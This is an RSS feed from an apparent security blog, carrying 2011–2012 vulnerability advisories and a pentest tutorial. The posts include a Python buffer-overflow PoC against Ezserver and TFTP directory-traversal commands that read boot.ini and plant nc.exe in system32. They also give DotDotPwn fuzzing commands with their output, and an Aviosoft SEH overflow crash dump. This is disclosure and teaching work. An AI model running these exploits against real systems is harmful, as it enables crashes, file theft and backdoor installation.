<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digital Echidna</title>
	<atom:link href="http://www.digital-echidna.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.digital-echidna.org</link>
	<description>explore the dark side of security</description>
	<lastBuildDate>Fri, 21 Sep 2012 14:50:53 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ezhometech Ezserver &lt;=6.4.017 Stack Overflow Vulnerability</title>
		<link>http://www.digital-echidna.org/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/</link>
		<comments>http://www.digital-echidna.org/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/#comments</comments>
		<pubDate>Mon, 18 Jun 2012 14:53:05 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[ezserver]]></category>
		<category><![CDATA[http]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1604</guid>
		<description><![CDATA[EZserver version 6.4.017 or below contains a buffer overflow vulnerability which may possibly be exploited to cause a denial of service or arbitrary code execution. Software Description EZserver is a Video Server that stream Full HD to various devices. Developer Website http://www.ezhometech.com/ezserver.htm &#160; Vulnerability Details Buffer overflow condition exist in URL handling, sending long GET [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>EZserver version 6.4.017 or below contains a buffer overflow vulnerability which may possibly be exploited to cause a denial of service or arbitrary code execution.</p>
<p><strong>Software Description</strong></p>
<p>EZserver is a Video Server that stream Full HD to various devices.</p>
<p><strong>Developer Website</strong></p>
<p><strong></strong><a href="http://www.ezhometech.com/ezserver.htm">http://www.ezhometech.com/ezserver.htm</a></p>
<p>&nbsp;</p>
<p><strong>Vulnerability Details</strong></p>
<p>Buffer overflow condition exist in URL handling, sending long GET request to the server on port 8000<br />
will cause server process to exit and may allow malicious code injection.<br />
Further research found that the application does not care about the HTTP method,<br />
so that by sending long characters to the port 8000 will make the program crash.</p>
<p><strong>Vendor logs</strong></p>
<p>06/11/2012 &#8211; Bug found<br />
06/12/2012 &#8211; Vendor contacted<br />
06/16/2012 &#8211; No response, advisory released.</p>
<p><strong>Proof of Concept</strong></p>
<pre class="brush: python">#!/usr/bin/python

from socket import *
import sys

if len(sys.argv) != 3:
        print "[*] Proof of Concept of Ezserver &lt;=6.4.017 Buffer Overflow"
        print "[*] by Spentera Research - research[at]spentera[dot]com"
        print "[*] http://www.spentera.com/resources/security-advisory\n"
        print "[*] Usage: python %s ip port" %sys.argv[0]
        sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

junk = "\x41" * 10000
payload = junk

print "[!] Connecting to %s on port %d" % (host,port)
s = socket(AF_INET, SOCK_STREAM)

try:
        s.connect((host,port))
        print "[+] Launching attack.."
        s.send ("GET /" + payload + "HTTP/1.0\r\n\r\n\r\n")
        s.close()
except:
        print "[x] Could not connect to the server x_x"
        sys.exit()</pre>
<p><strong>References</strong></p>
<p>Exploit Database: <a title="http://www.exploit-db.com/exploits/19266/" href="http://www.exploit-db.com/exploits/19266/">http://www.exploit-db.com/exploits/19266/</a><br />
Metasploit: <a title="http://www.metasploit.com/modules/exploit/windows/http/ezserver_http" href="http://www.metasploit.com/modules/exploit/windows/http/ezserver_http">http://www.metasploit.com/modules/exploit/windows/http/ezserver_http</a></p>
<div class="shr-publisher-1604"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F06%2Fezhometech-ezserver-6-4-017-stack-overflow-vulnerability%2F' data-shr_title='Ezhometech+Ezserver+%26lt%3B%3D6.4.017+Stack+Overflow+Vulnerability'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F06%2Fezhometech-ezserver-6-4-017-stack-overflow-vulnerability%2F' data-shr_title='Ezhometech+Ezserver+%26lt%3B%3D6.4.017+Stack+Overflow+Vulnerability'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F06%2Fezhometech-ezserver-6-4-017-stack-overflow-vulnerability%2F' data-shr_title='Ezhometech+Ezserver+%26lt%3B%3D6.4.017+Stack+Overflow+Vulnerability'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CyberLink Power2Go Unicode Stack Overflow</title>
		<link>http://www.digital-echidna.org/2012/04/cyberlink-power2go-unicode-stack-overflow/</link>
		<comments>http://www.digital-echidna.org/2012/04/cyberlink-power2go-unicode-stack-overflow/#comments</comments>
		<pubDate>Fri, 13 Apr 2012 15:55:33 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[cyberlink]]></category>
		<category><![CDATA[power2go]]></category>
		<category><![CDATA[stack overflow]]></category>
		<category><![CDATA[unicode]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1587</guid>
		<description><![CDATA[The proof of concept of the vulnerability has been released on December 9, 2011, and no further announcement from CyberLink. I tried to coordinate the issue until they didn&#8217;t contact me anymore. A week after our last email, they updated the product, and  yes it&#8217;s Power2Go 8. How do they know that the product is [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>The proof of concept of the vulnerability <a href="http://www.spentera.com/advisories/2011/SPN-07-2011.pdf">has been released on December 9, 2011</a>, and no further announcement from CyberLink. I tried to coordinate the issue until they didn&#8217;t contact me anymore. A week after our last email, they updated the product, and  yes it&#8217;s Power2Go 8. How do they know that the product is safe without letting me to check again?</p>
<p>The application itself is still vulnerable to stack buffer overflow as we posted earlier <a href="http://www.exploit-db.com/exploits/18220/">here</a>. This morning, a good friend from <a title="Metasploit Project" href="http://www.metasploit.com">Metasploit</a>, <a title="net-ninja.net" href="https://net-ninja.net/about/">mr_me</a>, sent me an email and asking why I didn&#8217;t get a shell from this POC. He also attached his working exploit script, and working flawlessly on Windows 7, awesome!<span id="more-1587"></span></p>
<p>I stated him that I already managed to get a shell on Power2Go 7 (build 196), but can&#8217;t find any reliable jump address on Power2Go 8, because it&#8217;s a unicode stack overflow, you will face a very limited address regarding jump address. He submitted his working exploit to Metasploit Dev Team so it will be added to Metasploit as well.</p>
<p>So, here is the POC for Power2Go 7:<br />
<a title="CyberLink Power2Go &lt;=7 Unicode Stack Overflow POC" href="http://pastebin.com/CXJ5qsz6">http://pastebin.com/CXJ5qsz6</a></p>
<p><a href="http://i2.wp.com/www.digital-echidna.org/wp-content/uploads/2012/04/TerminalScreenSnapz004.png" rel="lightbox[1587]"><img class="aligncenter size-medium wp-image-1592" title="CyberLink Power2Go 7 Exploit" src="http://i2.wp.com/www.digital-echidna.org/wp-content/uploads/2012/04/TerminalScreenSnapz004.png?resize=300%2C189" alt="" /></a></p>
<p>Looking for Power2Go 8 exploit? Wait until mr_me&#8217;s pull request is accepted by the Metasploit team, it will automatically push to your Metasploit as well <img src='http://i0.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>We don&#8217;t have any information if the vulnerability is being exploited.</p>
<div class="shr-publisher-1587"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2012/04/cyberlink-power2go-unicode-stack-overflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Distinct TFTP Server &lt;=3.10 Directory Traversal Vulnerability</title>
		<link>http://www.digital-echidna.org/2012/04/distinct-tftp-server-3-01-directory-traversal-vulnerability/</link>
		<comments>http://www.digital-echidna.org/2012/04/distinct-tftp-server-3-01-directory-traversal-vulnerability/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 16:09:23 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[distinct tftp server]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1576</guid>
		<description><![CDATA[Overview Distinct TFTP Server is part of Distinct Intranet Servers made by Distinct. Corp. Distinct TFTP Server version 3.10 is susceptible to directory traversal attack. Attacker can exploit this vulnerability to retrieve or upload files outside of the TFTP server root directory. Software Description From Distinct website: Distinct Intranet Servers, which includes FTP Server, TFTP, LPD, [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><strong><span style="color: #ff6600;">Overview</span></strong></p>
<p>Distinct TFTP Server is part of Distinct Intranet Servers made by Distinct. Corp. Distinct TFTP Server version 3.10 is susceptible to directory traversal attack. Attacker can exploit this vulnerability to retrieve or upload files outside of the TFTP server root directory.</p>
<p><strong><span style="color: #ff6600;">Software Description</span></strong></p>
<p>From Distinct website:</p>
<blockquote><p><em>Distinct Intranet Servers, which includes FTP Server, TFTP, LPD, BOOTP and NFS, bring quality server power to your network with no additional hardware investment. These servers allow you to make use of your PCs to share important services among your users.</em></p></blockquote>
<p><strong><span style="color: #ff6600;">Vulnerability Details and Attack Vector</span></strong></p>
<p>The vulnerability is caused due to improper validation to GET and PUT Request containing dot dot slash (&#8216;../&#8217;) sequences, which allows attackers to read or write arbitrary files.</p>
<p>By requesting a dot dot slash within the GET or PUT request, it is possible to retrieve operating system file such as boot.ini or upload file (errh, nc.exe?) to Windows %systemroot% (C:\WINDOWS\system32\).<span id="more-1576"></span></p>
<p><strong><span style="color: #ff6600;">Impact</span></strong></p>
<p>A remote attacker may be able to leverage this vulnerability to gain access and has write access to system and other configuration files resulting in loss of confidentiality and integrity.</p>
<p><strong><span style="color: #ff6600;">Proof of Concept</span></strong></p>
<p>We assume that the directory is deep enough, so you have to set a deep path on the server configuration. If a GET request followed with &#8216;../../&#8217; (dot dot slash), trying to retrieve boot.ini file, is sent to Distinct TFTP Server 3.10, the file will be retrieved successfully.</p>
<p>hell:~ modpr0be$ tftp -e 10.211.55.5 69<br />
tftp&gt; get ../../../../../../../../../../../../../boot.ini<br />
Received 211 bytes in 0.0 seconds<br />
tftp&gt;</p>
<p>Next, if we try to upload a file, let say Netcat (nc.exe), to Windows %systemroot% directory (C:\WINDOWS\system32\) using a PUT command, here is the result:</p>
<p>hell:~ modpr0be$ tftp -e 10.211.55.5 69<br />
tftp&gt; put /Pentest/backdoor/nc.exe ../../../../../../../../../../../../../../../Windows/system32/nc.exe<br />
Sent 59392 bytes in 0.3 seconds<br />
tftp&gt;</p>
<p>Netcat successfully uploaded.</p>
<p>Another combinations:<br />
tftp&gt; get ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini<br />
tftp&gt; put /Pentest/backdoor/nc.exe ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\nc.exe</p>
<p><strong><span style="color: #ff6600;">Solution Status</span></strong></p>
<p>Update to the latest version <a href="http://www.distinct.com/index.php/downloads/index">here</a></p>
<p><strong><span style="color: #ff6600;">Risk Factor</span></strong></p>
<p>CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)<br />
Exploitability Subscore = 10<br />
Impact Subscore = 4.9<br />
CVSS Temporal Score = 5.2<br />
Overall CVSS Score = 5.8<br />
Risk factor = Medium</p>
<p><strong><span style="color: #ff6600;">References</span></strong></p>
<p>Original advisory: <a title="Spentera Advisory SPN-01-2012" href="http://www.spentera.com/advisories/2012/SPN-01-2012.html" target="_blank">http://www.spentera.com/advisories/2012/SPN-01-2012.html</a></p>
<p>Exploit-DB advisory: <a title="Distinct TFTP Server &lt;= 3.01 Directory Traversal Vulnerability" href="http://www.exploit-db.com/exploits/18718/" target="_blank">http://www.exploit-db.com/exploits/18718/</a></p>
<p><strong><span style="color: #ff6600;">Disclosure Timeline</span></strong></p>
<p>March 28, 2012, issue discovered<br />
March 28, 2012, vendor contacted about the issue, no response<br />
April 9, 2012, public advisory released</p>
<div class="shr-publisher-1576"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%26lt%3B%3D3.10+Directory+Traversal+Vulnerability'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%26lt%3B%3D3.10+Directory+Traversal+Vulnerability'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%26lt%3B%3D3.10+Directory+Traversal+Vulnerability'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2012/04/distinct-tftp-server-3-01-directory-traversal-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Directory Traversal with DotDotPwn (HTTPS Mode)</title>
		<link>http://www.digital-echidna.org/2012/03/directory-traversal-with-dotdotpwn-https-mode/</link>
		<comments>http://www.digital-echidna.org/2012/03/directory-traversal-with-dotdotpwn-https-mode/#comments</comments>
		<pubDate>Mon, 19 Mar 2012 03:03:36 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[dotdotpwn]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[stunnel]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1553</guid>
		<description><![CDATA[This is my experience when I was dealing with some applications which have a Directory Traversal vulnerability. I was using DotDotPwn by nitr0us when finding vulnerability on Quickshare File Server 1.2.1 (on the FTP protocol). I also used DotDotPwn when I was doing a pentest on my client. So, let the experience tell you the story. Quickshare [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>This is my experience when I was dealing with some applications which have a Directory Traversal vulnerability. I was using <a href="http://dotdotpwn.blogspot.com/" title="DotDotPwn - The Directory Traversal Fuzzer" target="_blank">DotDotPwn by nitr0us</a> when finding vulnerability on <a title="Quickshare File Server 1.2.1 Directory Traversal Vulnerability" href="http://www.exploit-db.com/exploits/16105" target="_blank">Quickshare File Server 1.2.1</a> (on the FTP protocol). I also used DotDotPwn when I was doing a pentest on my client. So, let the experience tell you the story.</p>
<p><span style="color: #ff6600;"><strong>Quickshare File Server 1.2.1</strong></span></p>
<p>First, I download the software <a title="Quickshare File Server" href="http://www.quicksharehq.com" target="_blank">here</a>, setup the XP lab machine, download DotDotPwn <a title="DotDotPwn - The Directory Traversal Fuzzer" href="http://dotdotpwn.blogspot.com/" target="_blank">here</a>, and all preparation should be ready. We must setup the Quickshare File Server to point to our FTP directory, let the user set to &#8220;Allow anonymous user&#8221;.<span id="more-1553"></span></p>
<p>Now, launch the DotDotPwn to attack the Quickshare File Server. Here are my attack commands:<br />
bash-3.2# <strong><span style="color: #ff6600;">perl dotdotpwn.pl -m ftp -h 192.168.1.19 -O -s -U anonymous -P &#8216;ftp@mozilla.org&#8217; -b</span></strong></p>
<p>[========== TARGET INFORMATION ==========]<br />
[+] Hostname: 192.168.1.19<br />
[+] Detecting Operating System (nmap) &#8230;<br />
[+] Operating System detected:  Microsoft Windows Server 2003 SP1 or SP2<br />
[+] Protocol: ftp<br />
[+] Port: 21<br />
[+] Service detected:<br />
220 quickshare ftpd ready.</p>
<p>[=========== TRAVERSAL ENGINE ===========]<br />
[+] Creating Traversal patterns (mix of dots and slashes)<br />
[+] Multiplying 6 times the traversal patterns (-d switch)<br />
[+] Creating the Special Traversal patterns<br />
[+] Translating (back)slashes in the filenames<br />
[+] Adapting the filenames according to the OS type detected (windows)<br />
[+] Including Special sufixes<br />
[+] Traversal Engine DONE ! &#8211; Total traversal tests created: 4656</p>
<p>[=========== TESTING RESULTS ============]<br />
[+] Ready to launch 3.33 traversals per second<br />
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)</p>
<p>[+] Username: anonymous<br />
[+] Password: ftp@mozilla.org<br />
[+] Connecting to the FTP server at &#8217;192.168.1.19&#8242; on port 21<br />
[+] FTP Server&#8217;s Current Path: /<br />
[+] Local Path to download files: /pentest/fuzzers/dotdotpwn-v2.1/retrieved_files<br />
[+] Press any key to continue</p>
<p>[+] Testing &#8230;<br />
[*] Testing Path: ../boot.ini<br />
[*] Testing Path: ../windows/system32/drivers/etc/hosts<br />
[*] Testing Path: ../config.inc.php<br />
[*] Testing Path: ../web.config<br />
[*] Testing Path: ../../boot.ini<br />
[*] Testing Path: ../../windows/system32/drivers/etc/hosts<br />
[*] Testing Path: ../../config.inc.php<br />
[*] Testing Path: ../../web.config</p>
<p>[*] CD ../../../ | GET boot.ini <strong><span style="color: #ff6600;"><== VULNERABLE</strong></span></p>
<p>From the result above, we know that QuickShare File Server has a directory traversal vulnerability. You can download any file on the operating system that run Quickshare File Server as long as you know the exact path and the file you want to download. </p>
<p><span style="color: #ff6600;"><strong>DotDotPwn vs SSL</span></strong></p>
<p>Ok, well.. it&#8217;s on a FTP protocol, what if it&#8217;s on FTPS or HTTPS? DotDotPwn, by default, cannot talk to a secure channel such as FTPS or HTTPS. When I was doing a pentest on a client, I was facing a web server with a SSL connection. Since the DotDotPwn cannot launch the attack on a FTPS or HTTPS protocol, we must trick the DotDotPwn to send the attack via a secure channel. How to do this?</p>
<p>You can use Stunnel to set the secure channel, and pass the DotDotPwn to this secure channel made by Stunnel and voila the attack will work properly. Of course you can use Burp as well, but this is just another option when you don&#8217;t have Burp on our machine (euh! why would a pentester won&#8217;t install Burp on their pentest machine?!)</p>
<p><span style="color: #ff6600;"><strong>Make some fun</span></strong></p>
<p>Let&#8217;s have some fun with Stunnel and DotDotPwn, here I installed a vulnerable web application called <a title="Portix-CMS 1.5.0. rc5 Local File Inclusion Vulnerability  " href="http://www.exploit-db.com/exploits/17515/" target="_blank">Portix-CMS</a> on Windows 2003 Server. I setup the Stunnel secure channel to accept a connection on port 8080 , the DotDotPwn will go through this port. Here is my stunnel configuration:</p>
<p>bash-3.2# <strong><span style="color: #ff6600;">cat stunnel.conf</strong></span><br />
cert = /opt/local/etc/stunnel/stunnel.pem<br />
#Don’t forget to download a default cert.<br />
#Some security enhancements for UNIX systems &#8211; comment them out on Win32<br />
client = yes<br />
#options=NO_SSLv2<br />
debug = 5</p>
<p>; Service-level configuration<br />
[https]<br />
accept = 127.0.0.1:8080<br />
connect = 192.168.1.19:443</p>
<p>Note: Follow this <a href="http://www.stunnel.org/?page=howto" title="Stunnel: HOWTO">HOWTO</a> to create your own certificate, also please change your configuration to your own lab!</p>
<p>Now, we can run Stunnel:<br />
bash-3.2# <strong><span style="color: #ff6600;">stunnel /opt/local/etc/stunnel/stunnel.conf</strong></span></p>
<p>And test the connection to the HTTPS protocol:<br />
bash-3.2# <strong><span style="color: #ff6600;">nc localhost 8080</strong></span><br />
HEAD /cms/ HTTP/1.0</p>
<p>HTTP/1.1 200 OK<br />
Date: Sun, 18 Mar 2012 17:08:57 GMT<br />
Server: Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1<br />
X-Powered-By: PHP/5.2.1<br />
Set-Cookie: PHPSESSID=f05f1197ceadea3d2625d09da9bb49a3; path=/<br />
Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />
Pragma: no-cache<br />
Set-Cookie: COMPTEURSIMPLE=Count; expires=Sun, 18-Mar-2012 18:09:01 GMT<br />
Connection: close<br />
Content-Type: text/html</p>
<p>We can see 200 OK, it means that our HTTPS connection via Stunnel is successfully established. Ok, next we will fire up the DotDotPwn against PortixCMS via Stunnel. Here is my setup (you can see DotDotPwn help to understand what i&#8217;m doing with those options)</p>
<p>bash-3.2# <strong><span style="color: #ff6600;">perl dotdotpwn.pl -m http-url -h 127.0.0.1 -x 8080 -O -s -u http://127.0.0.1:8080/cms/print.php?page=TRAVERSAL -k WINDOWS -b -q</strong></span></p>
<p>[+] Report name: Reports/127.0.0.1_03-18-2012_23-59.txt</p>
<p>[========== TARGET INFORMATION ==========]<br />
[+] Hostname: 127.0.0.1<br />
[+] Detecting Operating System (nmap) &#8230;<br />
[+] Operating System detected:<br />
[+] Protocol: http<br />
[+] Port: 8080<br />
[+] Service detected:<br />
Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1<br />
[=========== TRAVERSAL ENGINE ===========]<br />
[+] Creating Traversal patterns (mix of dots and slashes)<br />
[+] Multiplying 6 times the traversal patterns (-d switch)<br />
[+] Creating the Special Traversal patterns<br />
[+] Translating (back)slashes in the filenames<br />
[+] Adapting the filenames according to the OS type detected (generic)<br />
[+] Including Special sufixes<br />
[+] Traversal Engine DONE ! &#8211; Total traversal tests created: 14640</p>
<p>[=========== TESTING RESULTS ============]<br />
[+] Ready to launch 3.33 traversals per second<br />
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)</p>
<p>[+] Replacing &#8220;TRAVERSAL&#8221; with the traversals created and sending<br />
. .<br />
[*] Testing URL: http://127.0.0.1:8080/cms/print.php?page=../../../../../boot.ini <strong><span style="color: #ff6600;"><== VULNERABLE</strong></span></p>
<p>[+] Fuzz testing finished after 0.08 minutes (5 seconds)<br />
[+] Total Traversals found: 1<br />
[+] Report saved: Reports/127.0.0.1_03-18-2012_23-59.txt</p>
<p>w00t! DotDotPwn works flawlessly. Now you can use this setup if you forgot to include Burpsuite on your pentest box <img src='http://i2.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Have fun!</p>
<div class="shr-publisher-1553"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2012/03/directory-traversal-with-dotdotpwn-https-mode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aviosoft DTV Player 1.x Stack Buffer Overflow</title>
		<link>http://www.digital-echidna.org/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/</link>
		<comments>http://www.digital-echidna.org/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 05:08:39 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[aviosoft]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[dtv player]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1538</guid>
		<description><![CDATA[Aviosoft DTV Player is a multiple format video player application. Aviosoft DTV Player 1.0.1.2 and possibly earlier versions fail to properly handle malformed user-supplied data within a playlist (.plf) file before copying it into an insufficiently sized buffer, resulting in a buffer overflow. Software Description Aviosoft DTV Player is a multi-media center combines TV/video/DVD playback, [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Aviosoft DTV Player is a multiple format video player application. Aviosoft DTV Player 1.0.1.2 and possibly earlier versions fail to properly handle malformed user-supplied data within a playlist (.plf) file before copying it into an insufficiently sized buffer, resulting in a buffer overflow.</p>
<p><span style="color: #ff6600;"><strong>Software Description</strong></span><br />
Aviosoft DTV Player is a multi-media center combines TV/video/DVD playback, video recording, media converting, FM radios connecting in one intelligent program. Aviosoft DTV Player allows users to watch free-to-air TV shows and analog TV shows. Fully supports TV card with BDA interface, stably run with DVB-T, DVB-S, DVB-S2, ATSC, ISDB-T, ISDB-S, CMMB, DMB-T/H TV-tuner.</p>
<p><span style="color: #ff6600;"><strong>Vulnerability Details</strong></span><br />
The main program AviosoftDTV.exe is prone to a remote memory-corruption vulnerability because the application fails to handle malformed playlist files (.plf). When the program try to load specially-crafted .plf file, it fails to perform boundary checking of the user input file, thus overwriting the Structured Exception Handling chain. This can be bypassed by overwrite the SE Handler address and pass the execution to EIP. Since we can control EIP, arbitrary code can be introduced and lead us to code execution.</p>
<p>Attacker can use this vulnerability to exploit user without prior knowledge via SMB or WebDAV share, instead of bring the specially-crafted file directly.<span id="more-1538"></span></p>
<p>Below is the dump result when the exception occured:</p>
<p><code>First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00001237 ebx=03530318 ecx=000000a3 edx=03537a2c esi=035389d4 edi=00130000<br />
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz ac pe cy<br />
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217<br />
*** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\MediaPlayerCtrl.dll<br />
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\MediaPlayerCtrl.dll -<br />
MediaPlayerCtrl!DllCreateObject+0x220:<br />
6400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]<br />
0:000&gt; d fs:[0]<br />
003b:00000000 bc f3 12 00 00 00 13 00-00 f0 11 00 00 00 00 00 ................<br />
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................<br />
003b:00000020 4c 05 00 00 50 05 00 00-00 00 00 00 00 00 00 00 L...P...........<br />
003b:00000030 00 a0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000040 c0 02 d8 e1 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
